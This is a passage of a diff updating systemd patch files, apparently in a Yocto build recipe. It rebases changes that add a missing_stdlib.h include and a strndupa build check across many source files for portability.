@@ -24,11 +26,12 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
src/basic/log.c | 1 +
src/basic/missing_stdlib.h | 12 ++++++++++++
src/basic/mkdir.c | 1 +
+ src/basic/mountpoint-util.c | 1 +
src/basic/parse-util.c | 1 +
src/basic/path-lookup.c | 1 +
+ src/basic/percent-util.c | 1 +
src/basic/proc-cmdline.c | 1 +
src/basic/procfs-util.c | 1 +
- src/basic/selinux-util.c | 1 +
src/basic/time-util.c | 1 +
src/boot/bless-boot.c | 1 +
src/core/dbus-cgroup.c | 1 +
@@ -40,12 +43,12 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
src/coredump/coredump-vacuum.c | 1 +
src/journal-remote/journal-remote-main.c | 1 +
src/journal/journalctl.c | 1 +
- src/journal/sd-journal.c | 1 +
src/libsystemd/sd-bus/bus-message.c | 1 +
src/libsystemd/sd-bus/bus-objects.c | 1 +
src/libsystemd/sd-bus/bus-socket.c | 1 +
src/libsystemd/sd-bus/sd-bus.c | 1 +
src/libsystemd/sd-bus/test-bus-benchmark.c | 1 +
+ src/libsystemd/sd-journal/sd-journal.c | 1 +
src/locale/keymap-util.c | 1 +
src/login/pam_systemd.c | 1 +
src/network/generator/network-generator.c | 1 +
@@ -67,34 +70,34 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
src/udev/udev-builtin-path_id.c | 1 +
src/udev/udev-event.c | 1 +
src/udev/udev-rules.c | 1 +
- 50 files changed, 61 insertions(+)
+ 51 files changed, 62 insertions(+)
diff --git a/meson.build b/meson.build
-index 9187439bdd..bea9935a91 100644
+index 3421da3a4d..ddef6fba91 100644
--- a/meson.build
+++ b/meson.build
-@@ -527,6 +527,7 @@ foreach ident : [
- #include <unistd.h>
- #include <signal.h>
- #include <sys/wait.h>'''],
-+ ['strndupa' , '''#include <string.h>'''],
- ]
+@@ -480,6 +480,7 @@ foreach ident : ['secure_getenv', '__secure_getenv']
+ endforeach
- have = cc.has_function(ident[0], prefix : ident[1], args : '-D_GNU_SOURCE')
+ foreach ident : [
++ ['strndupa' , '''#include <string.h>'''],
+ ['memfd_create', '''#include <sys/mman.h>'''],
+ ['gettid', '''#include <sys/types.h>
+ #include <unistd.h>'''],
diff --git a/src/backlight/backlight.c b/src/backlight/backlight.c
-index 3a644363e1..73946a829b 100644
+index 7c0970a60c..c129ff0f4f 100644
--- a/src/backlight/backlight.c
+++ b/src/backlight/backlight.c
-@@ -17,6 +17,7 @@
+@@ -19,6 +19,7 @@
#include "string-util.h"
#include "strv.h"
#include "util.h"
+#include "missing_stdlib.h"
- static int find_pci_or_platform_parent(sd_device *device, sd_device **ret) {
- const char *subsystem, *sysname, *value;
+ static int help(void) {
+ _cleanup_free_ char *link = NULL;
diff --git a/src/basic/cgroup-util.c b/src/basic/cgroup-util.c
-index e94fcfad02..856a7068b0 100644
+index 1ff6160dc8..c9efd862a2 100644
--- a/src/basic/cgroup-util.c
+++ b/src/basic/cgroup-util.c
@@ -38,6 +38,7 @@
@@ -106,22 +109,22 @@ index e94fcfad02..856a7068b0 100644
static int cg_enumerate_items(const char *controller, const char *path, FILE **_f, const char *item) {
_cleanup_free_ char *fs = NULL;
diff --git a/src/basic/env-util.c b/src/basic/env-util.c
-index b8dc98915f..5049b37594 100644
+index 1ca445dab4..1f5a212d4e 100644
--- a/src/basic/env-util.c
+++ b/src/basic/env-util.c
-@@ -15,6 +15,7 @@
+@@ -18,6 +18,7 @@
#include "string-util.h"
#include "strv.h"
#include "utf8.h"
+#include "missing_stdlib.h"
- #define VALID_CHARS_ENV_NAME \
- DIGITS LETTERS \
+ /* We follow bash for the character set. Different shells have different rules. */
+ #define VALID_BASH_ENV_NAME_CHARS \
diff --git a/src/basic/log.c b/src/basic/log.c
-index c6fe203808..b7ef932d28 100644
+index fb183ea9e7..82e7bdff60 100644
--- a/src/basic/log.c
+++ b/src/basic/log.c
-@@ -35,6 +35,7 @@
+@@ -36,6 +36,7 @@
#include "terminal-util.h"
#include "time-util.h"
#include "utf8.h"
@@ -130,7 +133,7 @@ index c6fe203808..b7ef932d28 100644
#define SNDBUF_SIZE (8*1024*1024)
diff --git a/src/basic/missing_stdlib.h b/src/basic/missing_stdlib.h
-index 188a8d4406..1e16ec287a 100644
+index 8c76f93eb2..9068bfb4f0 100644
--- a/src/basic/missing_stdlib.h
+++ b/src/basic/missing_stdlib.h
@@ -11,3 +11,15 @@
@@ -150,10 +153,10 @@ index 188a8d4406..1e16ec287a 100644
+ })
+#endif
diff --git a/src/basic/mkdir.c b/src/basic/mkdir.c
-index 6ebc2b95fd..88f4359bab 100644
+index f91f8f7a08..fb31596216 100644
--- a/src/basic/mkdir.c
+++ b/src/basic/mkdir.c
-@@ -13,6 +13,7 @@
+@@ -14,6 +14,7 @@
#include "stat-util.h"
#include "stdio-util.h"
#include "user-util.h"
@@ -161,8 +164,20 @@ index 6ebc2b95fd..88f4359bab 100644
int mkdir_safe_internal(
const char *path,
+diff --git a/src/basic/mountpoint-util.c b/src/basic/mountpoint-util.c
+index 7e57d9a226..c0e64f2aca 100644
+--- a/src/basic/mountpoint-util.c
++++ b/src/basic/mountpoint-util.c
+@@ -11,6 +11,7 @@
+ #include "missing_stat.h"
+ #include "missing_syscall.h"
+ #include "mkdir.h"
++#include "missing_stdlib.h"
+ #include "mountpoint-util.h"
+ #include "parse-util.h"
+ #include "path-util.h"
diff --git a/src/basic/parse-util.c b/src/basic/parse-util.c
-index 44f0438cf4..54b4133343 100644
+index b79c885dfd..6dabda5691 100644
--- a/src/basic/parse-util.c
+++ b/src/basic/parse-util.c
@@ -19,6 +19,7 @@
@@ -174,7 +189,7 @@ index 44f0438cf4..54b4133343 100644
int parse_boolean(const char *v) {
if (!v)
diff --git a/src/basic/path-lookup.c b/src/basic/path-lookup.c
-index 52968dee34..2f4f7e3dcd 100644
+index 05eb17d66c..b6026aab28 100644
--- a/src/basic/path-lookup.c
+++ b/src/basic/path-lookup.c
@@ -15,6 +15,7 @@
@@ -185,8 +200,20 @@ index 52968dee34..2f4f7e3dcd 100644
int xdg_user_runtime_dir(char **ret, const char *suffix) {
const char *e;
+diff --git a/src/basic/percent-util.c b/src/basic/percent-util.c
+index 06f20fd61e..8159d721bb 100644
+--- a/src/basic/percent-util.c
++++ b/src/basic/percent-util.c
+@@ -3,6 +3,7 @@
+ #include "percent-util.h"
+ #include "string-util.h"
+ #include "parse-util.h"
++#include "missing_stdlib.h"
+
+ static int parse_parts_value_whole(const char *p, const char *symbol) {
+ const char *pc, *n;
diff --git a/src/basic/proc-cmdline.c b/src/basic/proc-cmdline.c
-index ba47ca5812..8baf728fde 100644
+index 410b8a3eb5..f2c4355609 100644
--- a/src/basic/proc-cmdline.c
+++ b/src/basic/proc-cmdline.c
@@ -15,6 +15,7 @@
@@ -198,7 +225,7 @@ index ba47ca5812..8baf728fde 100644
int proc_cmdline(char **ret) {
const char *e;
diff --git a/src/basic/procfs-util.c b/src/basic/procfs-util.c
-index 7aaf95bfce..da7e836f14 100644
+index 9234ccaf85..8c57094225 100644
--- a/src/basic/procfs-util.c
+++ b/src/basic/procfs-util.c
@@ -11,6 +11,7 @@
@@ -209,20 +236,8 @@ index 7aaf95bfce..da7e836f14 100644
int procfs_tasks_get_limit(uint64_t *ret) {
_cleanup_free_ char *value = NULL;
-diff --git a/src/basic/selinux-util.c b/src/basic/selinux-util.c
-index c94ee26bd9..14e35b4653 100644
---- a/src/basic/selinux-util.c
-+++ b/src/basic/selinux-util.c
-@@ -27,6 +27,7 @@
- #include "selinux-util.h"
- #include "stdio-util.h"
- #include "time-util.h"
-+#include "missing_stdlib.h"
-
- #if HAVE_SELINUX
- DEFINE_TRIVIAL_CLEANUP_FUNC(context_t, context_free);
diff --git a/src/basic/time-util.c b/src/basic/time-util.c
-index 15cc1b8851..02bb3f01f9 100644
+index 5d162e8ffe..1cde8e4262 100644
--- a/src/basic/time-util.c
+++ b/src/basic/time-util.c
@@ -26,6 +26,7 @@
@@ -234,7 +249,7 @@ index 15cc1b8851..02bb3f01f9 100644
static clockid_t map_clock_id(clockid_t c) {
diff --git a/src/boot/bless-boot.c b/src/boot/bless-boot.c
-index b96e1f927f..cba979baca 100644
+index 3fc319ca27..90064c90f3 100644
--- a/src/boot/bless-boot.c
+++ b/src/boot/bless-boot.c
@@ -18,6 +18,7 @@
@@ -246,22 +261,22 @@ index b96e1f927f..cba979baca 100644
static char **arg_path = NULL;
diff --git a/src/core/dbus-cgroup.c b/src/core/dbus-cgroup.c
-index b7d2e32639..fdbc1df95e 100644
+index 84c3caf3a5..0fa84eaa38 100644
--- a/src/core/dbus-cgroup.c
+++ b/src/core/dbus-cgroup.c
-@@ -15,6 +15,7 @@
- #include "fileio.h"
- #include "limits-util.h"
+@@ -20,6 +20,7 @@
+ #include "parse-util.h"
#include "path-util.h"
+ #include "percent-util.h"
+#include "missing_stdlib.h"
BUS_DEFINE_PROPERTY_GET(bus_property_get_tasks_max, "t", TasksMax, tasks_max_resolve);
diff --git a/src/core/dbus-execute.c b/src/core/dbus-execute.c
-index 50f7ada8ce..5c760ee487 100644
+index 902e074bd2..ac15b944e6 100644
--- a/src/core/dbus-execute.c
+++ b/src/core/dbus-execute.c
-@@ -41,6 +41,7 @@
+@@ -42,6 +42,7 @@
#include "unit-printf.h"
#include "user-util.h"
#include "utf8.h"
@@ -270,10 +285,10 @@ index 50f7ada8ce..5c760ee487 100644
BUS_DEFINE_PROPERTY_GET_ENUM(bus_property_get_exec_output, exec_output, ExecOutput);
static BUS_DEFINE_PROPERTY_GET_ENUM(property_get_exec_input, exec_input, ExecInput);
diff --git a/src/core/dbus-util.c b/src/core/dbus-util.c
-index 951450e53d..50d134e9a1 100644
+index ca9b399d8c..b864480a8c 100644
--- a/src/core/dbus-util.c
+++ b/src/core/dbus-util.c
-@@ -7,6 +7,7 @@
+@@ -9,6 +9,7 @@
#include "unit-printf.h"
#include "user-util.h"
#include "unit.h"
@@ -282,11 +297,11 @@ index 951450e53d..50d134e9a1 100644
int bus_property_get_triggered_unit(
sd_bus *bus,
diff --git a/src/core/execute.c b/src/core/execute.c
-index 2a4840a3a9..d3f1e0e0f8 100644
+index 2f2de4d9cf..515b2fe748 100644
--- a/src/core/execute.c
+++ b/src/core/execute.c
-@@ -89,6 +89,7 @@
- #include "unit.h"
+@@ -98,6 +98,7 @@
+ #include "unit-serialize.h"
#include "user-util.h"
#include "utmp-wtmp.h"
+#include "missing_stdlib.h"
@@ -294,7 +309,7 @@ index 2a4840a3a9..d3f1e0e0f8 100644
#define IDLE_TIMEOUT_USEC (5*USEC_PER_SEC)
#define IDLE_TIMEOUT2_USEC (1*USEC_PER_SEC)
diff --git a/src/core/kmod-setup.c b/src/core/kmod-setup.c
-index 09ccd613e3..f4e64fa283 100644
+index a56f12f47f..6b8729ef67 100644
--- a/src/core/kmod-setup.c
+++ b/src/core/kmod-setup.c
@@ -11,6 +11,7 @@
@@ -306,7 +321,7 @@ index 09ccd613e3..f4e64fa283 100644
#if HAVE_KMOD
#include "module-util.h"
diff --git a/src/core/service.c b/src/core/service.c
-index 00e61945ba..1ecab28354 100644
+index 7b90822f68..4af076eeba 100644
--- a/src/core/service.c
+++ b/src/core/service.c
@@ -41,6 +41,7 @@
@@ -318,7 +333,7 @@ index 00e61945ba..1ecab28354 100644
static const UnitActiveState state_translation_table[_SERVICE_STATE_MAX] = {
[SERVICE_DEAD] = UNIT_INACTIVE,
diff --git a/src/coredump/coredump-vacuum.c b/src/coredump/coredump-vacuum.c
-index 35885dfb47..bb9f0660a6 100644
+index 95c3fca661..d4a9f27b08 100644
--- a/src/coredump/coredump-vacuum.c
+++ b/src/coredump/coredump-vacuum.c
@@ -16,6 +16,7 @@
@@ -330,10 +345,10 @@ index 35885dfb47..bb9f0660a6 100644
#define DEFAULT_MAX_USE_LOWER (uint64_t) (1ULL*1024ULL*1024ULL) /* 1 MiB */
#define DEFAULT_MAX_USE_UPPER (uint64_t) (4ULL*1024ULL*1024ULL*1024ULL) /* 4 GiB */
diff --git a/src/journal-remote/journal-remote-main.c b/src/journal-remote/journal-remote-main.c
-index 77dfdefd64..e21ecbeff8 100644
+index ae1d43756a..24de98c9f3 100644
--- a/src/journal-remote/journal-remote-main.c
+++ b/src/journal-remote/journal-remote-main.c
-@@ -22,6 +22,7 @@
+@@ -24,6 +24,7 @@
#include "stat-util.h"
#include "string-table.h"
#include "strv.h"
@@ -342,10 +357,10 @@ index 77dfdefd64..e21ecbeff8 100644
#define PRIV_KEY_FILE CERTIFICATE_ROOT "/private/journal-remote.pem"
#define CERT_FILE CERTIFICATE_ROOT "/certs/journal-remote.pem"
diff --git a/src/journal/journalctl.c b/src/journal/journalctl.c
-index 8d4897b942..15476b3c83 100644
+index 3eac97510d..db6913bc7a 100644
--- a/src/journal/journalctl.c
+++ b/src/journal/journalctl.c
-@@ -69,6 +69,7 @@
+@@ -72,6 +72,7 @@
#include "unit-name.h"
#include "user-util.h"
#include "varlink.h"
@@ -353,23 +368,11 @@ index 8d4897b942..15476b3c83 100644
#define DEFAULT_FSS_INTERVAL_USEC (15*USEC_PER_MINUTE)
#define PROCESS_INOTIFY_INTERVAL 1024 /* Every 1,024 messages processed */
-diff --git a/src/journal/sd-journal.c b/src/journal/sd-journal.c
-index 6fb0abb419..2d94d9938e 100644
---- a/src/journal/sd-journal.c
-+++ b/src/journal/sd-journal.c
-@@ -40,6 +40,7 @@
- #include "string-util.h"
- #include "strv.h"
- #include "syslog-util.h"
-+#include "missing_stdlib.h"
-
- #define JOURNAL_FILES_MAX 7168
-
diff --git a/src/libsystemd/sd-bus/bus-message.c b/src/libsystemd/sd-bus/bus-message.c
-index 55e35cd902..0ed98f9224 100644
+index 20f7396c74..3471311ef5 100644
--- a/src/libsystemd/sd-bus/bus-message.c
+++ b/src/libsystemd/sd-bus/bus-message.c
-@@ -21,6 +21,7 @@
+@@ -20,6 +20,7 @@
#include "strv.h"
#include "time-util.h"
#include "utf8.h"
@@ -378,10 +381,10 @@ index 55e35cd902..0ed98f9224 100644
static int message_append_basic(sd_bus_message *m, char type, const void *p, const void **stored);
diff --git a/src/libsystemd/sd-bus/bus-objects.c b/src/libsystemd/sd-bus/bus-objects.c
-index 6abac8822c..c74c9cd7fa 100644
+index bfd42aea7d..daefc56e3e 100644
--- a/src/libsystemd/sd-bus/bus-objects.c
+++ b/src/libsystemd/sd-bus/bus-objects.c
-@@ -13,6 +13,7 @@
+@@ -12,6 +12,7 @@
#include "set.h"
#include "string-util.h"
#include "strv.h"
@@ -390,10 +393,10 @@ index 6abac8822c..c74c9cd7fa 100644
static int node_vtable_get_userdata(
sd_bus *bus,
diff --git a/src/libsystemd/sd-bus/bus-socket.c b/src/libsystemd/sd-bus/bus-socket.c
-index fc7e8e844a..7af4dd2712 100644
+index 09eb49c37f..82f1b3d1be 100644
--- a/src/libsystemd/sd-bus/bus-socket.c
+++ b/src/libsystemd/sd-bus/bus-socket.c
-@@ -28,6 +28,7 @@
+@@ -27,6 +27,7 @@
#include "string-util.h"
#include "user-util.h"
#include "utf8.h"
@@ -402,34 +405,46 @@ index fc7e8e844a..7af4dd2712 100644
#define SNDBUF_SIZE (8*1024*1024)
diff --git a/src/libsystemd/sd-bus/sd-bus.c b/src/libsystemd/sd-bus/sd-bus.c
-index 9de5e454a6..fe86c93c63 100644
+index ab8d4e4a60..7e35fbe9e6 100644
--- a/src/libsystemd/sd-bus/sd-bus.c
+++ b/src/libsystemd/sd-bus/sd-bus.c
-@@ -41,6 +41,7 @@
- #include "process-util.h"
+@@ -42,6 +42,7 @@
#include "string-util.h"
#include "strv.h"
+ #include "user-util.h"
+#include "missing_stdlib.h"
#define log_debug_bus_message(m) \
do { \
diff --git a/src/libsystemd/sd-bus/test-bus-benchmark.c b/src/libsystemd/sd-bus/test-bus-benchmark.c
-index 8de0a859ee..58044b6ba9 100644
+index 13c08fe295..9aae83486e 100644
--- a/src/libsystemd/sd-bus/test-bus-benchmark.c
+++ b/src/libsystemd/sd-bus/test-bus-benchmark.c
@@ -14,6 +14,7 @@
- #include "missing_resource.h"
+ #include "string-util.h"
#include "time-util.h"
#include "util.h"
+#include "missing_stdlib.h"
#define MAX_SIZE (2*1024*1024)
+diff --git a/src/libsystemd/sd-journal/sd-journal.c b/src/libsystemd/sd-journal/sd-journal.c
+index b3240177cb..7e3ae2d24f 100644
+--- a/src/libsystemd/sd-journal/sd-journal.c
++++ b/src/libsystemd/sd-journal/sd-journal.c
+@@ -40,6 +40,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "syslog-util.h"
++#include "missing_stdlib.h"
+
+ #define JOURNAL_FILES_MAX 7168
+
diff --git a/src/locale/keymap-util.c b/src/locale/keymap-util.c
-index 233d081300..40a32b9700 100644
+index d2f0566dbc..3b7746557e 100644
--- a/src/locale/keymap-util.c
+++ b/src/locale/keymap-util.c
-@@ -21,6 +21,7 @@
+@@ -24,6 +24,7 @@
#include "string-util.h"
#include "strv.h"
#include "tmpfile-util.h"
@@ -438,7 +453,7 @@ index 233d081300..40a32b9700 100644
static bool startswith_comma(const char *s, const char *prefix) {
s = startswith(s, prefix);
diff --git a/src/login/pam_systemd.c b/src/login/pam_systemd.c
-index 16f4289585..6c5e438b36 100644
+index f8bd17eefe..9633fbc152 100644
--- a/src/login/pam_systemd.c
+++ b/src/login/pam_systemd.c
@@ -31,6 +31,7 @@
@@ -450,7 +465,7 @@ index 16f4289585..6c5e438b36 100644
#include "parse-util.h"
#include "path-util.h"
diff --git a/src/network/generator/network-generator.c b/src/network/generator/network-generator.c
-index bed1e42697..e4847c2bee 100644
+index 60e074e99b..a728e3b7a1 100644
--- a/src/network/generator/network-generator.c
+++ b/src/network/generator/network-generator.c
@@ -13,6 +13,7 @@
@@ -462,10 +477,10 @@ index bed1e42697..e4847c2bee 100644
/*
# .network
diff --git a/src/nspawn/nspawn-settings.c b/src/nspawn/nspawn-settings.c
-index d341fa25aa..91646bc2c2 100644
+index 3847fe4ec4..3696b57baa 100644
--- a/src/nspawn/nspawn-settings.c
+++ b/src/nspawn/nspawn-settings.c
-@@ -16,6 +16,7 @@
+@@ -17,6 +17,7 @@
#include "strv.h"
#include "user-util.h"
#include "util.h"
@@ -474,22 +489,22 @@ index d341fa25aa..91646bc2c2 100644
Settings *settings_new(void) {
Settings *s;
diff --git a/src/nss-mymachines/nss-mymachines.c b/src/nss-mymachines/nss-mymachines.c
-index 5db0dcef76..681f8677e4 100644
+index 44715bb3e5..bc1e688b5e 100644
--- a/src/nss-mymachines/nss-mymachines.c
+++ b/src/nss-mymachines/nss-mymachines.c
-@@ -19,6 +19,7 @@
+@@ -21,6 +21,7 @@
#include "nss-util.h"
#include "signal-util.h"
#include "string-util.h"
+#include "missing_stdlib.h"
- NSS_GETHOSTBYNAME_PROTOTYPES(mymachines);
- NSS_GETPW_PROTOTYPES(mymachines);
+ static void setup_logging(void) {
+ /* We need a dummy function because log_parse_environment is a macro. */
diff --git a/src/portable/portable.c b/src/portable/portable.c
-index 3a1367ec2b..f29336cb1e 100644
+index 4cf5fb4f0a..577dc5c8d7 100644
--- a/src/portable/portable.c
+++ b/src/portable/portable.c
-@@ -31,6 +31,7 @@
+@@ -34,6 +34,7 @@
#include "strv.h"
#include "tmpfile-util.h"
#include "user-util.h"
@@ -498,31 +513,31 @@ index 3a1367ec2b..f29336cb1e 100644
static const char profile_dirs[] = CONF_PATHS_NULSTR("systemd/portable/profile");
diff --git a/src/resolve/resolvectl.c b/src/resolve/resolvectl.c
-index 3072b984e5..c46ae374bf 100644
+index 7d13ed3905..ddc37115b8 100644
--- a/src/resolve/resolvectl.c
+++ b/src/resolve/resolvectl.c
-@@ -36,6 +36,7 @@
- #include "strv.h"
+@@ -41,6 +41,7 @@
#include "terminal-util.h"
+ #include "utf8.h"
#include "verbs.h"
+#include "missing_stdlib.h"
static int arg_family = AF_UNSPEC;
static int arg_ifindex = 0;
diff --git a/src/shared/bus-get-properties.c b/src/shared/bus-get-properties.c
-index 8ad4694046..da5082c02a 100644
+index feb6d3807f..eb11d29e50 100644
--- a/src/shared/bus-get-properties.c
+++ b/src/shared/bus-get-properties.c
-@@ -3,6 +3,7 @@
- #include "bus-get-properties.h"
+@@ -4,6 +4,7 @@
#include "rlimit-util.h"
+ #include "stdio-util.h"
#include "string-util.h"
+#include "missing_stdlib.h"
int bus_property_get_bool(
sd_bus *bus,
diff --git a/src/shared/bus-unit-procs.c b/src/shared/bus-unit-procs.c
-index b21fe39326..af2640005c 100644
+index 6f4a71138c..4a46de2c1b 100644
--- a/src/shared/bus-unit-procs.c
+++ b/src/shared/bus-unit-procs.c
@@ -10,6 +10,7 @@
@@ -534,10 +549,10 @@ index b21fe39326..af2640005c 100644
struct CGroupInfo {
char *cgroup_path;
diff --git a/src/shared/bus-unit-util.c b/src/shared/bus-unit-util.c
-index f2652ed9a5..eb019fc89f 100644
+index d3a5b25d18..003594e2d7 100644
--- a/src/shared/bus-unit-util.c
+++ b/src/shared/bus-unit-util.c
-@@ -39,6 +39,7 @@
+@@ -47,6 +47,7 @@
#include "unit-def.h"
#include "user-util.h"
#include "utf8.h"
@@ -546,22 +561,22 @@ index f2652ed9a5..eb019fc89f 100644
int bus_parse_unit_info(sd_bus_message *message, UnitInfo *u) {
assert(message);
diff --git a/src/shared/bus-util.c b/src/shared/bus-util.c
-index 77c1c62182..5cd31f3c15 100644
+index 64ca67993c..31e3d148ea 100644
--- a/src/shared/bus-util.c
+++ b/src/shared/bus-util.c
-@@ -22,6 +22,7 @@
+@@ -21,6 +21,7 @@
+ #include "path-util.h"
#include "socket-util.h"
#include "stdio-util.h"
- /* #include "string-util.h" */
+#include "missing_stdlib.h"
static int name_owner_change_callback(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
sd_event *e = userdata;
diff --git a/src/shared/dns-domain.c b/src/shared/dns-domain.c
-index b812665315..8e68f7f8fc 100644
+index 787bb8fec9..009589a16f 100644
--- a/src/shared/dns-domain.c
+++ b/src/shared/dns-domain.c
-@@ -23,6 +23,7 @@
+@@ -17,6 +17,7 @@
#include "string-util.h"
#include "strv.h"
#include "utf8.h"
@@ -570,10 +585,10 @@ index b812665315..8e68f7f8fc 100644
int dns_label_unescape(const char **name, char *dest, size_t sz, DNSLabelFlags flags) {
const char *n;
diff --git a/src/shared/journal-importer.c b/src/shared/journal-importer.c
-index 7c4fc7021d..3fbaf5a639 100644
+index 9e11dc09c1..f9954c1520 100644
--- a/src/shared/journal-importer.c
+++ b/src/shared/journal-importer.c
-@@ -14,6 +14,7 @@
+@@ -15,6 +15,7 @@
#include "parse-util.h"
#include "string-util.h"
#include "unaligned.h"
@@ -582,7 +597,7 @@ index 7c4fc7021d..3fbaf5a639 100644
enum {
IMPORTER_STATE_LINE = 0, /* waiting to read, or reading line */
diff --git a/src/shared/logs-show.c b/src/shared/logs-show.c
-index 899e894ab7..628854ac9c 100644
+index e63c59bd94..dd9773c009 100644
--- a/src/shared/logs-show.c
+++ b/src/shared/logs-show.c
@@ -41,6 +41,7 @@
@@ -594,10 +609,10 @@ index 899e894ab7..628854ac9c 100644
/* up to three lines (each up to 100 characters) or 300 characters, whichever is less */
#define PRINT_LINE_THRESHOLD 3
diff --git a/src/shared/pager.c b/src/shared/pager.c
-index e03be6d23b..50e3d1f75c 100644
+index 4bbad7e37b..eefcdd068c 100644
--- a/src/shared/pager.c
+++ b/src/shared/pager.c
-@@ -23,6 +23,7 @@
+@@ -26,6 +26,7 @@
#include "strv.h"
#include "terminal-util.h"
#include "util.h"
@@ -606,7 +621,7 @@ index e03be6d23b..50e3d1f75c 100644
static pid_t pager_pid = 0;
diff --git a/src/shared/uid-range.c b/src/shared/uid-range.c
-index 7cb7d8a477..8e7d7f9e7c 100644
+index 5d5bf7f21d..f1002ffa6c 100644
--- a/src/shared/uid-range.c
+++ b/src/shared/uid-range.c
@@ -9,6 +9,7 @@
@@ -618,7 +633,7 @@ index 7cb7d8a477..8e7d7f9e7c 100644
static bool uid_range_intersect(UidRange *range, uid_t start, uid_t nr) {
assert(range);
diff --git a/src/socket-proxy/socket-proxyd.c b/src/socket-proxy/socket-proxyd.c
-index b461aead60..9941695ed9 100644
+index 6e3ee0d76b..7727e33d95 100644
--- a/src/socket-proxy/socket-proxyd.c
+++ b/src/socket-proxy/socket-proxyd.c
@@ -26,6 +26,7 @@
@@ -630,7 +645,7 @@ index b461aead60..9941695ed9 100644
#define BUFFER_SIZE (256 * 1024)
diff --git a/src/test/test-hexdecoct.c b/src/test/test-hexdecoct.c
-index 52217429b1..70708dedf3 100644
+index c9d318b8d1..fcb8d40805 100644
--- a/src/test/test-hexdecoct.c
+++ b/src/test/test-hexdecoct.c
@@ -6,6 +6,7 @@
@@ -642,19 +657,19 @@ index 52217429b1..70708dedf3 100644
static void test_hexchar(void) {
assert_se(hexchar(0xa) == 'a');
diff --git a/src/udev/udev-builtin-path_id.c b/src/udev/udev-builtin-path_id.c
-index 6c020ac0ed..10723ec46c 100644
+index 65c40de4c8..4ef9a0c6c8 100644
--- a/src/udev/udev-builtin-path_id.c
+++ b/src/udev/udev-builtin-path_id.c
@@ -22,6 +22,7 @@
- #include "strv.h"
#include "sysexits.h"
#include "udev-builtin.h"
+ #include "udev-util.h"
+#include "missing_stdlib.h"
_printf_(2,3)
static void path_prepend(char **path, const char *fmt, ...) {
diff --git a/src/udev/udev-event.c b/src/udev/udev-event.c
-index e1c2baf7f2..62d4086802 100644
+index 9854270b27..71b5fab1e7 100644
--- a/src/udev/udev-event.c
+++ b/src/udev/udev-event.c
@@ -34,6 +34,7 @@
@@ -666,11 +681,11 @@ index e1c2baf7f2..62d4086802 100644
typedef struct Spawn {
sd_device *device;
diff --git a/src/udev/udev-rules.c b/src/udev/udev-rules.c
-index c36f032f66..36970813d8 100644
+index bf997fc0ed..e3f5f1f2e2 100644
--- a/src/udev/udev-rules.c
+++ b/src/udev/udev-rules.c
-@@ -30,6 +30,7 @@
- #include "udev-rules.h"
+@@ -33,6 +33,7 @@
+ #include "udev-util.h"
#include "user-util.h"
#include "virt.h"
+#include "missing_stdlib.h"
diff --git a/meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch b/meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch
index abc438e4ba..3875753ff4 100644
--- a/meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch
+++ b/meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch
@@ -1,4 +1,4 @@
-From 47818052121d135632f5e46c369e3e4706a0f9e0 Mon Sep 17 00:00:00 2001
+From a3be3b7160856ffb8259ede9e2e0168d74bf126e Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Thu, 26 Oct 2017 22:10:42 -0700
Subject: [PATCH] Include netinet/if_ether.h
@@ -29,33 +29,83 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
[rebased for systemd 243]
Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+[rebased for systemd 247]
+Signed-off-by: Luca Boccassi <luca.boccassi@microsoft.com>
---
- src/libsystemd-network/sd-dhcp6-client.c | 1 -
- src/libsystemd/sd-netlink/netlink-types.c | 1 +
- src/machine/machine-dbus.c | 1 +
- src/network/netdev/bond.c | 1 +
- src/network/netdev/bridge.c | 1 +
- src/network/netdev/macsec.c | 1 +
- src/network/netdev/netdev-gperf.gperf | 1 +
- src/network/netdev/netdev.c | 1 +
- src/network/networkd-brvlan.c | 1 +
- src/network/networkd-dhcp-common.c | 1 +
- src/network/networkd-dhcp4.c | 2 +-
- src/network/networkd-dhcp6.c | 2 +-
- src/network/networkd-link.c | 2 +-
- src/network/networkd-network.c | 1 +
- src/network/test-network-tables.c | 1 +
- src/shared/ethtool-util.c | 1 +
- src/shared/ethtool-util.h | 1 +
- src/udev/net/link-config.c | 1 +
- src/udev/udev-builtin-net_setup_link.c | 1 +
- 19 files changed, 18 insertions(+), 4 deletions(-)
+ src/basic/linux/in6.h | 14 +++++++-------
+ src/libsystemd-network/sd-dhcp6-client.c | 1 -
+ src/libsystemd/sd-netlink/netlink-types.c | 1 +
+ src/machine/machine-dbus.c | 1 +
+ src/network/netdev/bond.c | 1 +
+ src/network/netdev/bridge.c | 1 +
+ src/network/netdev/macsec.c | 1 +
+ src/network/netdev/netdev-gperf.gperf | 1 +
+ src/network/netdev/netdev.c | 1 +
+ src/network/networkd-bridge-vlan.c | 1 +
+ src/network/networkd-dhcp-common.c | 4 +++-
+ src/network/networkd-dhcp-server.c | 4 ++--
+ src/network/networkd-dhcp4.c | 2 +-
+ src/network/networkd-dhcp6.c | 2 +-
+ src/network/networkd-link.c | 2 +-
+ src/network/networkd-network.c | 1 +
+ src/network/networkd-route.c | 1 +
+ src/network/networkd-setlink.c | 2 +-
+ src/network/test-network-tables.c | 1 +
+ src/shared/ethtool-util.c | 1 +
+ src/shared/ethtool-util.h | 1 +
+ src/udev/net/link-config.c | 1 +
+ src/udev/udev-builtin-net_setup_link.c | 1 +
+ 23 files changed, 31 insertions(+), 15 deletions(-)
-Index: systemd-stable/src/libsystemd-network/sd-dhcp6-client.c
-===================================================================
---- systemd-stable.orig/src/libsystemd-network/sd-dhcp6-client.c
-+++ systemd-stable/src/libsystemd-network/sd-dhcp6-client.c
+diff --git a/src/basic/linux/in6.h b/src/basic/linux/in6.h
+index 5ad396a57e..1dc007fe13 100644
+--- a/src/basic/linux/in6.h
++++ b/src/basic/linux/in6.h
+@@ -1,10 +1,10 @@
+ /* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */
+ /*
